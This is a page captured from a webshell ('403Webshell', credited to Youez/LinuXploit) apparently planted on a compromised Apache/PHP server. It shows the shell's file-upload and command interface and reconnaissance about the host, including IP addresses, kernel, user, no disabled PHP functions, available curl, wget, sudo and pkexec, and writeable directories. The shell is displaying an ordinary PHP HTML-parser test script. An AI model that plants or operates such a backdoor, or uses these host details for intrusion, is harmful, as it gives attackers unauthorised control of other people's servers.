403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.99
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/public_html/_scripts/html_parser/testcase/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/public_html/_scripts/html_parser/testcase/all_test.php
<?php
// $Rev: 175 $
error_reporting(E_ALL);

function quick_test($html_dom, $str, $selector, $params=array('inner'=>'', 'plain'=>'', 'outer'=>'')) {
    $html_dom->load($str);
    $e = $html_dom->find($selector, 0);
    if (isset($params['inner']))
        assert($e->innertext===$params['inner']);
    if (isset($params['plain']))
        assert($e->plaintext===$params['plain']);
    if (isset($params['outer']))
        assert($e->outertext===$params['outer']);
    assert($html_dom==$str);
}

foreach (new DirectoryIterator(getcwd()) as $entry) {
    if ($entry->isFile() && strpos($entry, '_testcase.')>0) {
        echo basename($entry);
        require_once($entry);
        echo '<br>...pass!<br><br>';
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit